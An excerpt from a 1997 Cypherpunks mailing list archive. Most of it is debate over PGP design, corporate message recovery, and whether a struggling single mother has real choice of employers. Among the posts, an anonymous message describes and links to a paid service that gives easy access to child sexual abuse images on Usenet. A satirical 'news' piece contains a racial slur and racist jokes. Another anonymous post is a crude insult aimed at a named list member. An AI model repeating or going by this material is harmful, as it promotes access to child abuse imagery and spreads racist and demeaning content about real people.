to allow vendors to remove their browser icon from the desktop on grounds it
then "doesn't present the complete 'Windows experience' to the user". What's
next-integrating Word with the desktop to drive out competing word processors;
integrating Access to drive out competing data bases. The matter is currently
under challenge by the Federal government, whose definition of orgthoganality
seems to be that a particular application has (in practice) or has had a
separate market--been sold separately.

> 
> Failure to observe this rule of thumb has led to spreadsheets which can run
> MPEG movies in spreadsheet cells (I'm not kidding), and to Web browsers
> which take 20 MB of free memory to run reliably because they also contain
> mediocre news readers, mediocre mailers, and lots of bloatware cruft.

Under the Federal definition as long as a news reader or a mailer have been
sold separately they are separate product. But in this case there is important
common functionality. Netscape Communicator integrates not only the mailer and
newsreader, but provides a near-identical interface to the two and lists
newsgroups as a continuation of your list of mail folders. The model feels a
little artificial (and their newsreader doesn't yet have filters so it's
inconvenient), but one can see some sense in it.

Similarly, one often wishes to mail pages one is browsing. Integration of the
mailer and the browser are thus quite convenient. It is true one can use the
passing of events and the clipboard to do it with separate applications but
that's both inelegant and a source of inefficiency and problems.

The fundamental problem with the modular approach is configuration control and
that is a big enough mess as it is with control panels and extensions, as any
user can attest. A small industry has sprung up which reports inconsistencies
there, and programs which test for such incompatibilities (and are quite
time-consuming) also exist (at least on the Mac), illustrating the reality of
the problem. In such cases strong central control and integrated operation is
best. It is, in fact, the root of the Mac metaphor, where Apple's Human
Interface Guidelines have forced a common user interface on all "Mac-like"
applications, making for a short learning curve and the famous lack of a need
to RTFM for most Mac applications. Windows has a long way to go but is heading
in a similar direction (one hopes). Meanwhile, the "modular" approach of many
Windows applications leads to remarks like anything other than changing a file
name wiil likely require a reboot. (There's a grain of truth in every satire.) 

>Much of the strenght of Unix has obviously come from the
> philosophy that a function or utility should do some small set of things
> well and cleanly, with chaining of these clean tools to accomplish more
> complicated tasks.

It is also the reason why Unix is arcane, complex, and difficult for most
novices and why poor imitations of Mac windowing and the Mac finder have
sprung up. The value of Unix isn't that modularity. It is the robustness of
the kernel. In fact modern operating systems use a Unix Kernet under a
Mac-like user interface (Rhapsody, Be, etc.).

> 
> A crypto program like PGP is intended to encrypt messages between a sender
> and a recipient, or to provide authentication through signatures, or to
> encrypt files on a storage medium. These are the classic, well-documented,
> oft-discussed functions of crypto. Look in textbooks under "crypto" and
> there won't be much talk of how to supply MIS with emergency backdoors, or
> ways to monitor employees.

This seems to be a defense of a major failing of PGP. Rather than being a
complete package for a user function (encrypting and signing mail, for
example) it is a pre- and post-processor which requires a separate mailer and
newsreader. In fact this whole argument may be viewed as an attempt to defend
that failing of PGP. The failing is understandable since Phil wanted to get
something out there quickly and hadn't (and probably still doesn't have) the
resources and talents available to do a complete PGP mailer/newsreader--much
less be able to compete successfully with those who DO do such mailers and newsreaders.

By the way, if one's world-view is PGP-centric there's another argument for
combining a mailer and a newsreader--both need to be able to sign traffic and
process signed traffic; to pass signed and perhaps encrypted files.

> 
> If properly modularized and orthogonalized (so to speak), such crypto
> programs can then be used as building blocks for other tasks, like
> remailers, data havens, and so on.

A defense of the obsolete, in my view. Like most "bright ideas" I believe this
notion of modules and plug-ins will eventually collapse of its own interface
management weight except in cases of both very tightly defined sandboxes, and
open-ended/niche needs (such as in an OS or a do-everything text editor such
as BBEdit) which the vendor hasn't the personnel and time to fill. Don't be
misled by the need for such niche tweaks into thinking there's a fundamental
principle at work here.

> 
> But there is a growing tendency, as seen in the bloatware examples of
> browsers and spreadsheets mentioned above, to throw in all kinds of "wish
> list" and "wouldn't it be nice" stuff. PGP is headed for bloatware. ("It's
> not just a crypto program, it's also a tax preparation  and disaster
> planning program!")

Netscape has really been moving toward a multi-purpose Net/Web OS for some
time. That's why it has a browser, mailer, newsreader, web page maker,
conferencer, and push-traffic channel handler. If done well (there's the rub)
it is both more convenient, more consistent of user interface, and more
integrated, providing user benefits.

It is true there are those who prefer some other module (Eudora or Claris
e-mailer; Newswatcher) either out of habit or desire. To accommodate them
Netscape has unbundled the browser. But that's simply an accomodation to a
sub-market of relatively sophisticated users and not a mainstrem strategy.
Remember that Netscape is used by about 25 million out there (give or take),
and most of them haven't the time, patience or expertise to manage several
non-integrated modules. They want another of the Mac's basic philosophical
principles (regardless of OS platform)--plug and play. Here, too, Microsoft is
just beginnning to catch up but that's the clear direction they're going in.

> 
> I'm quite certain that the Security and MIS directors at various companies
> asked PGP, Inc. to include message recovery features. Not so much to handle
> the very rare (almost nonexistent) cases where a piece of mail sent at some
> time in the past has to be recovered because Alice was hit by a truck, or
> similiar unlikely events (*), but because Security and MIS folks would like
> the option of "monitoring" e-mail traffic.

Anyone who has been exposed to industrial espionage knows that one needs such
features in a corporate environment, not only for micro-disaster recovery but
also for investigatory purposes.

> 
> (* I have heard no plausible scenarios under which transient
> communications, which are presumably stored in the form composed
> (plaintext) on the sender's machine or in the for received and read (also
> in plaintext) on the receiver's machine, need to be recovered from the
> *transit* state. We know why the FBI wants access to communications
> keys--because access to the transit state is what they get when they
> wiretap or sniff a communications line--but there is no plausbile
> explanation of why a company would not simply ask Alice for the plaintext,
> or ask Bob if for some reason Alice is unavailable. The idea someone
> floated, that he needs to go in and decrypt his employee's mail in
> emergencies is far-fetched. 

Not in any real company where much daily design, negotiation, and dynamic
interaction exists only in e-mail until things are finalized by the attorneys
or a design review board.

> 
> But are such bloatware crypto programs even good for disaster recovery? I
> say they are not. I say e-mail will be a tiny, tiny portion of the recovery
> strategy if Alice gets hit by a truck, for example. Far more important will
> be recovery of her hard disk and related files.

And if Alice is a contract negotiator doing it via e-mail? There are many
other examples where your assertions break down.
> 
> (No, I am _not_ proposing anything be added to PGP to deal with this
> disaster planning. Nor am I proposing that PGP enforce plaintext storage,
> or anything else for that matter. These are all matters _orthogonal_ to the
> basic function of a crypto program, and a crypto program cannot enforce
> crypto hygiene any more than a spreadsheet can enforce good tax planning
> hygiene.)

A better example would be a money management program with a tax module. They
are linked and one's money management strategies have tax consequences and
vice-versa. You can always find inappropriate examples where little synergy
exists, but there are plenty of examples where strong synergy DOES exist. See
also my examples above.

> 
> I am also not terribly interested in convoluted, byzantine schemes for
> building "CDR" and such into crypto programs, as some are proposing. Again,
> this is trying to make a crypto program into a disaster preparation
> product, and trying to (partly) solve backup and disaster problems best
> solved in other ways. Not something PGP should worry about (either the
> program or the company).

You are trying to refute a valid argument by labelling. The issue isn't labels
such as "disaster recovery program" but functionality and synergy. You can
always create distinctions that would try to make your case, but you do so
only by ignoring other, important distinctions.


I think this is enough to deal with the fundamental issue, so I'm going to
pass on the rest of the side-issues such as "What if Alice forgets her key."
The main issues dominate such side issues.

David





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 26 Oct 1997 23:15:35 +0800
To: harka@nycmetro.com
Subject: Re: poverty traps (Re: Sa
In-Reply-To: <199710252037.PAA30248@einstein.ssz.com>
Message-ID: <199710261509.KAA01240@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710252037.PAA30248@einstein.ssz.com>, on 10/25/97 
   at 04:09 PM, harka@nycmetro.com said:

>-----BEGIN PGP SIGNED MESSAGE-----

> > Harka <harka@nycmetro.com> wrote:

> > That may indeed work for some people, but the argument of
> > "self-discipline and sacrifice" usually goes overboard once
> > people _other than yourself_ are severely affected by that.
> > "Sorry hun, you can't have a new winter-coat. Mommy has to save
> > enough money so that she can choose the people she works for.
> > And no...no christmas this year either".

> -=> Quoting In:aba@dcs.ex.ac.uk to Harka <=-

> In> That is indeed a sad financial state to be in.  I have trouble
> In> believing it though.

>[examples of well-fares deleted]

> In> So if any kids are being deprived of winter clothes or
> In> whatever, it's not because their parents don't have enough
> In> money, it's because their parents are stupid, or selfish.

>Although my statement was deliberately somewhat exaggerated, it is not
>that far from reality for quite a few people I know.

>A real-life example:

>A single (divorced) mother, 4 kids (3-12 years), working full-time and
>making in theory $42 000/year. After taxes that comes down to $2000 cash
>per month.

CLUE #1: The reason she is divorced with 4 kids is because she made the
CHOICES in life that put her there!

>In order for her to be able to work her two youngest kids go to a
>day-care-center. Wham! $1000 per month (hiring a baby-sitter would amount
>to even more).
>Her apartment costs $800/month excluding utilities. That leaves $200 (+
>$800 she gets in child-support) per month for _five_ people to live on
>(clothes, food, utilities, school-books, gas for the car, etc.etc.)

>One thousand dollars per month for five people!! And that in New York
>City!

CLUE #2: If she can't afford to live in New York City then MOVE!!

>She is not entitled to any support such as free school-meals for the kids
>etc., because she "makes too much money" (_before_ taxes, of course!)

CLUE #3: She is not "entitled" to anything regardless of what she makes.

>What efforts has she made to make "herself more marketable"? She has been
>working ever since the age of 16, went 8 years to College (paid by
>herself and paying rent at the same time) and now has a Masters Degree in
>teaching.

CLUE #4: She made a bad choice of getting a Masters Degree in teaching.
She just as well could have spent the 8 yrs becoming a lawer. She made the
CHOICE to become a teacher, that's here problem not ours.

>What has it brought her? Bill-collectors calling every day!

CLUE #5: She is living above her means. Move to a cheaper apartment, get a
better paying job in Industry, spend less on "luxury items", ...ect

>She made a calculation and (confirming your statement) came to the
>conclusion, that she indeed would have _more_ money by not working at all
>and simply going on welfare.

>However, that is not a choice she wants to make.

>Is she to be called "stupid" and "selfish" because she's poor despite her
>efforts???

CLUE #6: She has made CHOICES in her life that has brought her to where
she is today. Now she needs to make another choice of wether she want's to
stay there or improve he lot in life. It is up to her to do so, not her
boss, not the school she works for, and not the government.

>I don't think so. She, btw., is not the only person I know
>struggeling in this manner from one month into the next, barely being
>able to even catch up on bills.

And if you bother to look at how and why they are there you would see that
it is of their own making.

>Neither does she have a free choice of employers. There is only one board
>of education in the City. Changing for a private school would come with
>(at least a temporary) pay-cut, that she obviously can't afford.

Of course she has free choice of employers. She just has to be willing to
make them.

>Therefore:

>Since she isn't the only person I can think of, who is in such a
>position, the argument formerly known as "If 'ya don't like the
>company-policy [employing GAK/CAK] just leave and work for somebody else"
>may now be called: "Ad Acta".

Therefore:

This is yet another case of one being unwilling of taking the
RESPONSIBILITY for their actions. She put herself there and she is the
only one who can get herself out.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 00:22:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Orthogonal
Message-ID: <199710261616.KAA00300@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I believe the first definition for orthogonal is not the vector or Cartesian
definition but rather from geometry.

Where, for example, polygonal means a closed shape made up from many line
segments, orthogonal means a closed shape made from line segments at right
angles to each other. The simplest being the square.

DeCarte used the concept of ortho- to describe the relationship between the
axis of his measurement system, hence orthogonal. Strictly speaking
orthogonal is a misnomer and should be orthometric or 'measurements at right
angles'.

I am interested in how orthogonal obtained its variety of other meanings. I
run across it in linguistics, computer science, philosophy, etc. In most of
them it means some sort of pure or simple relationship. Unfortunately I
can't find any sort of description of how it got expanded this way.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 27 Oct 1997 00:24:48 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: poverty traps (Re: Sa
Message-ID: <199710261616.KAA00310@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:anon@anon.efga.org (Monty Cantsin) to Harka <=-

 In> The government is not Janice's friend.  It takes away $18,000
 In> from her each year and plunges her into poverty, sort of.  If
 In> you are appealing to the government to assist Janice, first
 In> ask it to get the hell out of the way.  (I realize you may
 In> just be saying that Janice's plight is unavoidable, not that
 In> she should be helped with government money.)

Hmm, we all agree, that the government is not somebody to be
trusted to be your friend. However, we also know the amount of laws
possible to "violate" and the consequences that would have. And one
of the worst things you can do is evading taxes. At least when they
clamp down on you. Not something, I'd recommend to a mother of four
kids (that she really doesn't want to give up to
government-so-schill-workers). Jim Choate commented on that already,
so I save further words.

 In> Janice should be baby sitting.  Were she to take in 4 kids at
 In> $500/month, she would make as much as her job and be able to
 In> watch her own kids during the same time.

True in short-term. But after 8 kids have been rummaging around in
your apartment every day (even without licence and off-the-books and
all that stuff) you can definitely expect to spend a couple of
grands on repairs in a matter of a month.

 In> Telephone: $20/month
 In> Electricity: $40/month (?)
 In> Heat: $100/month (?)
 In> Food: $600/month (generous)
 In> Goodwill Clothes: $100/month (generous)
 In> Total: $860/month

You obviously don't live in NYC (and don't have kids). It costs her
alone six bucks a day just to get to work and back (with public
transportation).

 In> The food is generous because four of the five are kids, the
 In> oldest only being 12.  Kids don't each much.

You're confirming my suspicion about not having kids :)

 In> Of course, there is no law that requires one to live in New
 In> York City.

As a matter of fact there is. At least for her. She's _required_ by
the divorce-court to live within a 60-mile-zone of her ex-husband
and father of her kids (he's in the City too). For
visitation-rights and all that (i.e. she can't move out of state
without his approval or be charged with kidnapping, if she does it
anyway). A thing applicable to probably hundreds of thousands of
people (women mostly) in the US. And that alone limits one's "free
choice of employers" quite severely.

 In> It seems pretty clear that making money was not her top
 In> priority. It's never been a secret that teachers are not top
 In> earners.  I'm not seeing a description of somebody who really
 In> tried to make money in a serious way.

Talking about freedom at the same time then is an oxymoron and
you're confirming my "criticisms about the free market" (Yes Tim, I
have re-considered my position without changing my perspective in
the end).
Capitalism in it's current form does not allow for individual
freedom for most people (exceptions apply), because they have to
make the money to be free (independent).
If that requires doing for years, what you don't want to do
(working in computers, although you hate them and all you really
want to do is paint and live as an artist but can't afford to, for
example), then that means by definition, that freedom has to be
given up. At least temporarely and as mentioned before, that can be
a _very_ long time for most people (who have been born into the
"wrong" families, for example).

 In> Good for her.  It sounds like Janice may have the strength of
 In> character to turn her situation around.

Btw., I'll forward her all of the advice and suggestions everybody
gave. Thanks for everybodies effort and consideration of the (for
her personal) matter.

Also, (violins or not :)) :

It was not my primary intention to cause tears of compassion for
Janices personal situation (a lot of people on and off the list
have a rough time too to get on in life), but to introduce some
realism into the discussion of "free choice of employers".
Cypherpunks sometimes tend to become somewhat theoretical about
things, neglecting the possibility, that it may not apply on a
larger (real-life)scale.
Pointing such things out I regard as a very important thing to the
effectiveness of Cypherpunks-discussions and subsequent influence.
The argument of an (for everybody) existing "free choice of
employers", for example, should by now be seen as rather relativ, if
not completely negated.

Further it is a social issue of importance also for Cypherpunks.
Obviously we don't want governments "taking care of people", but
desire individual freedom, self-determination and independence
instead. However, as proven such things are possible in the "free
market" only to a limited degree, i.e not applicable by default to
everybody, IMHO.

Do I have a solution? Honestly, I don't and I wish I had. That
doesn't prevent me from seeing (and pointing out) things, that I
don't agree with when looking out the window or talking with
friends, who are in a very different position than I might be in.

If anybody _does_ have a solution, that enables _all_ people
(regardless of background) to become truly free and also provides a
realistic way to achieve that (for everybody), then I'll be more
than happy to listen and to adjust my own perspective.

Ciao

Harka

/*************************************************************/
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

... "It is better to die on our feet than to live on our knees."

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If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 01:52:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Another David Bohm book [non-crypto]
Message-ID: <199710261747.LAA00630@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I know this isn't crypto related but several times David Bohm has come up in
discussions relating to physics and various interpretations of Quantum
Physics.

Check out the essay collection:

Quantum Implications: Essays in Honour of David Bohm
ed. B.J. Hiley, F.D. Peat
ISBN 0-415-06960-2
$19.95

Hiley collaborated with Bohm in his physics and co-authored The Undivided
Universe, while Peat co-authored with Bohm the book Science, Order, and
Creativity.

30 essays by:

B.J. Hiley & F.D. Peat
David Bohm
E.P. Gross
D. Pines
A.J. Leggett
R. Penrose
T.D. Clark
B. d'Espagnat
J.P. Vigier, C. Dewdney, P.R. Holland A. Kyprianidis
I. Prigogine, Y. Elskens
Y. Aharonov, D. Albert
J.S. Bell
R.P. Feynman
G.F. Chew
H.P. Stapp
C.W. Kilmister
F.A.M. Frescura, B.J. Hiley
D. Finkelstein
P.R. Holland, C. Phillipidis
H. Frohlich
R. Rosen
B.C. Goodwin
M.H.F. Wilkins
A. Ford
K.H. Pribram
G.G. Globus
M. Ullman
D. Shainberg
J. Briggs
R. Weber


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 26 Oct 1997 19:00:59 +0800
To: cypherpunks@toad.com
Subject: Re: Secure envelopes
Message-ID: <199710261053.LAA14833@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



The only `culture' Timmy May possesses is that 
cultivated from his foreskin scrapings.

   \|/
  (*,*) Timmy May
 _m_-_m_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daniel@relaxed.com
Date: Mon, 27 Oct 1997 04:17:25 +0800
To: cypherpunks@toad.com
Subject: FUTUREWEAR  (fashion, clothing and clubwear)
Message-ID: <199710262000.MAA07022@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



FUTUREWEAR  (fashion, clothing and clubwear)
by Daniel Eder

FUTUREWEAR T-SHIRTS NOW AVAILABLE:

http://www.futurewear.com/

--------

wholesalers, resalers and promoters:
contact me at daniel@futurewear.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: secret@nsa.fbi.cia.org
Date: Mon, 27 Oct 1997 04:16:38 +0800
To: cypherpunks@cyberpass.net
Subject: Click HERE for Boy Sex
Message-ID: <199710262011.MAA29005@uwin2.u.washington.edu>
MIME-Version: 1.0
Content-Type: text/plain



An interesting anti-censorship experiment is currently taking
place on Usenet.
 
It's ingredients: One Libertarian-minded California ISP named
InterBBS which provides a variety of services to various pay XXX
Web sites, for resale to their customers, including an
uncensored, unfiltered, and unexpurgated newsfeed, which InterBBS
is protected by Common Carrier status from liability for the
contents of.
 
A nifty piece of software, recently added to InterBBS, which runs
something called "newspix", a web-based interface to Usenet
binaries pictures groups, pre-decoded and cross-referenced for
your instant point-and-clicking pleasure.
 
A guy named "Dave", a customer of InterBBS, who is reselling the
services of InterBBS through a pay boy pictures site, including
web access to a number of boy-related erotica newsgroups, whose
content neither Dave nor InterBBS controls.  Dave is very careful
to tell us that it is imperative that we not download anything
which would be illegal according to our community standards, and
that if we "unknowingly" do so, we should delete it immediately.
InterBBS, and its lawyers, maintain that their decoded neatly
indexed web-accessible Usenet pictures service enjoys the same
immunity for its content due to their Common Carrier status as
the raw newsfeed does, and of course, they wouldn't think of
keeping records on which customers read which Usenet articles.
 
The owner of InterBBS is Marlin Schwanke, who also runs
*CENSORED*.com, and is well known for giving bandwidth to
persecuted causes.
 
The net effect of all of these things coming together is that
there now exists convenient pseudoanonymous web access to all
boy-related child porn pictures posted to Usenet, for a small fee
you may bill monthly to the credit card of your choice.
 
This new service has caused a huge rift amongst Net Boylovers,
who believe that even if this operation is technically legal, and
protects the confidentiality of its customers, that such
conspicuous promotion of locations on Usenet where illegal
material is very likely to be found, and facilitating its easy
access to the non-technically minded for profit, is not in
anyones best interests.
 
For Further Reading:
 
   http://boypics.com/newspix.html            (Dave's Naughty Pix)
   http://www.ivan.net/bc/messages/38850.htm  (Marlin Answers His Critics)
   http://www.interbbs.com/                   (InterBBS home page)
 
Surely the Feds are not going to take this lying down. :)
 
Will Marlin and Dave be dragged to Tennessee or Utah to face
trial in front of a bunch of inbred jurors?  Will yokels from the
cast of "Deliverance" in the courtroom audience squeal like pigs
when the words "10 year old erect penis" are mentioned?
 
Will Dave get a cell next to Robert Thomas of AA BBS fame?
 
Will Reno and Freeh engage in unnatural sex and have a deformed
cow?
 
Is this the technology that will finally drive Officer Mike
"Sewer Site" Paladino to take his own life?
 
Stay tuned for the next episode of "Boy Pics from Dave."
 
--BoySexMonger
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 27 Oct 1997 02:36:14 +0800
To: David Sternlight <david@sternlight.com>
Subject: Re: Orthogonality and Disaster Recovery
In-Reply-To: <34537A18.9FE77210@sternlight.com>
Message-ID: <199710261832.NAA03035@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <34537A18.9FE77210@sternlight.com>, on 10/26/97 
   at 09:13 AM, David Sternlight <david@sternlight.com> said:

>This seems to be a defense of a major failing of PGP. Rather than being a
>complete package for a user function (encrypting and signing mail, for
>example) it is a pre- and post-processor which requires a separate mailer
>and newsreader. In fact this whole argument may be viewed as an attempt
>to defend that failing of PGP. The failing is understandable since Phil
>wanted to get something out there quickly and hadn't (and probably still
>doesn't have) the resources and talents available to do a complete PGP
>mailer/newsreader--much less be able to compete successfully with those
>who DO do such mailers and newsreaders.

This is quite silly argument David,

Do all E-Mail vendors need to be cryptologist?? Do all cryptologist need
to be application vendors?? Obviously not. PGP is a tool much like a
database is. The majority of vendors who develop apps that require a
database do not go out and write their own, rather they use a database
engine that is suited to their needs. Betreve doesn't try to develop every
application that may use a database, instead they sell the database engine
and let the application developers make the apps. The same is true for
E-Mail vendors, they integrate PGP into their products. No need for PGP
Inc, to develop their own E-Mail product.

FWIW: I am quite confedent that if Phil wished to write an
E-Mail/NewsReader he is quite capable of producing a better product than
the peice of crap N$ has on the market.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sun, 26 Oct 1997 21:17:38 +0800
To: kent@bywater.songbird.com
Subject: Re: Orthogonality and Disaster Recovery (fwd)
Message-ID: <199710261410.OAA01609@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



From: kent@bywater.songbird.com

> On Sat, Oct 25, 1997 at 04:28:52PM -0500, Jim Choate wrote:

> > Any idea how a term meaning 'at right angles' came to hold all the various
> > interpretations it now does?...
> > 
> > I see this word in a lot of my reading and it almost never implies any sort
> > of 'indipendent multi-variant reference system'.

> I can't believe that you haven't studied vector spaces, Jim.  In that 
> particular niche of mathematics, the meaning you quote is precisely the 
> meaning of 'orthogonal'.  Vector algebra underlies a very large part 
> of mathematics, and modern physics would not exist without it.


I believe that is Jim's point.  The dictionary definition and
"one task, one tool" seem to have quite a gap between them.



--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Canadian Nutly News <cnn@dev.null>
Date: Mon, 27 Oct 1997 04:19:51 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Flag ban in Canada [CNN]
In-Reply-To: <199710261401.IAA32569@einstein.ssz.com>
Message-ID: <3453A513.A33@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



FLAG BAN TUGS ON BEANTOWN TRADITIONS

                        Barflies wear American flags

               Star Spangled Banner impedes athletic recruiting
     October 31, 1997
     Web posted at: 07:09 p.m. EDT (0709 GMT)
     From Correspondent Psionist Cabal

      BIENFAIT, Sask (CNN) -- On any given fooseball Saturday, when
      the Bienfait Patriots find the hole and the crowd explodes, you
      can see American flags being waved as the barflies wiggle the
      butts of their Star Spangled jeans and jiggle the Stars and
      Stripes on their buxom breasts.

      But there are not nearly as many American flags as in years past
-- 
      and there will soon be even fewer if the Coaldust Saloon of
      Bienfait's bar owner has his way.

      This week, bar owner Fu Cue ordered a ban on all clothes at
      athletic events, starting next week. It's ostensibly for lewd
      reasons, but no one is fooled -- it is clearly an attempt to keep
      out the American flags attached to those clothes. CNN's Psionist
      Cabal reports
      icon 2 min., 1 sec. VXtreme cum-streaming video

      At Ole Beaner, tradition is grudgingly giving way to the political
and
      social reality that the American flag is perceived by some people,
      particularly Euro-Canadians, as a racist symbol.

      "We're tired of the attention, the negative publicity that we're
      getting," said bar choir director Pat Boone. "I mean, we've got a
      great bar here, a great drinking program, and we're being
      held back from a national perspective because of this American
      flag. And we don't even have any goddamn niggers, here."
      After a short pause he added, sheepishly, "I meant...coloreds.
      Sorry."

      Saturday's fooseball game against Oxbow was the first since Cue
      ordered the ban. And while the barroom drunks this week also
      recommended that the American flags be left home, they were
      particularly visible in the vomiting section.

      "Other people can do things and wave things and it's fine, but if
we
      do it, it seems like it's racist," complained one drunk. "But it's
      not racist. We're proud of our slave-owning, Constitution writing,
      Star Spangled American Puppet Masters."

      Ironically, many of those who have forsaken the flag are older Ole
      Beaner fans, who express fears about what the American flag in the
      bars does to the quality of the team at the fooseball table.

      Indeed, Ole Beaner fooseball coach Fu Cue II has told fans that
      the bar team is losing recruits because of the flag. He says
      he's gratified that flags are disappearing.
      "It's not like we get any...coloreds...here," he said, but we get
      a lot of...colored-lovers." He then asked, "Is that a 'word'?"

      "I'm proud of our drunks and our barflies, and I think they 
      understand the situation," he said. "Hopefully, we can continue 
      to make a profit off these Canadian-American drunks."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 04:34:50 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Choices
Message-ID: <199710262028.OAA01093@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



You are

What you do

When it counts

       The Masao


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Spirito <berezina@qed.net>
Date: Mon, 27 Oct 1997 04:18:30 +0800
To: Tim May <tcmay@got.net>
Subject: Re: NAMBLA embattled -- mirror sites?
In-Reply-To: <Pine.GSO.3.95.971024181115.26025B-100000@well.com>
Message-ID: <19971026200752100.AAA149@Berezina>
MIME-Version: 1.0
Content-Type: text/plain



At 07:40 AM 10/25/97 +0000, Tim May wrote:

>These are areas where untraceable data havens really shine. My own
>Blacknet, as an example. If the NAMBLA material were to be periodically
>sent out via remailers, to Usenet, censorship would be nearly impossible.
>
>And so would traceability and, hence, culpability.

The problem is that this only makes the technological point that censorship
is increasingly difficult, not the political point that it's wrong -- that
NAMBLA has a right to publish their material. The technological point is
worth making, but -- particularly when the information has little inherent
value -- I believe the political point is more important. I'd like to avert
a society in which unpopular publications exist only by subterfuge. In
fact, a technological response may be negative in this case, inspiring
calls for greater controls, which, while they may fail to achieve their aim, would make life worse.

Anyway -- sign me up, Declan.

Paul





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 27 Oct 1997 04:23:18 +0800
To: CYPHERPUNKS@ssz.com
Subject: Choices
Message-ID: <199710262019.OAA01028@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Both Monty Cantsin and WHGIII have commented upon current personal
conditions being the result of one's past choices (leading up to
it).

While I agree from a mere causal viewpoint, on a personal level I
would like to point out a few things nevertheless:

We can take as given, that everybody's life is a stream of decisions
or choices. We make 'em to the best of our ability as we go along in
life.

However, having a choice in matters does not imply the guarantee of
making the _right_ choices. In fact, even society acknowledges that
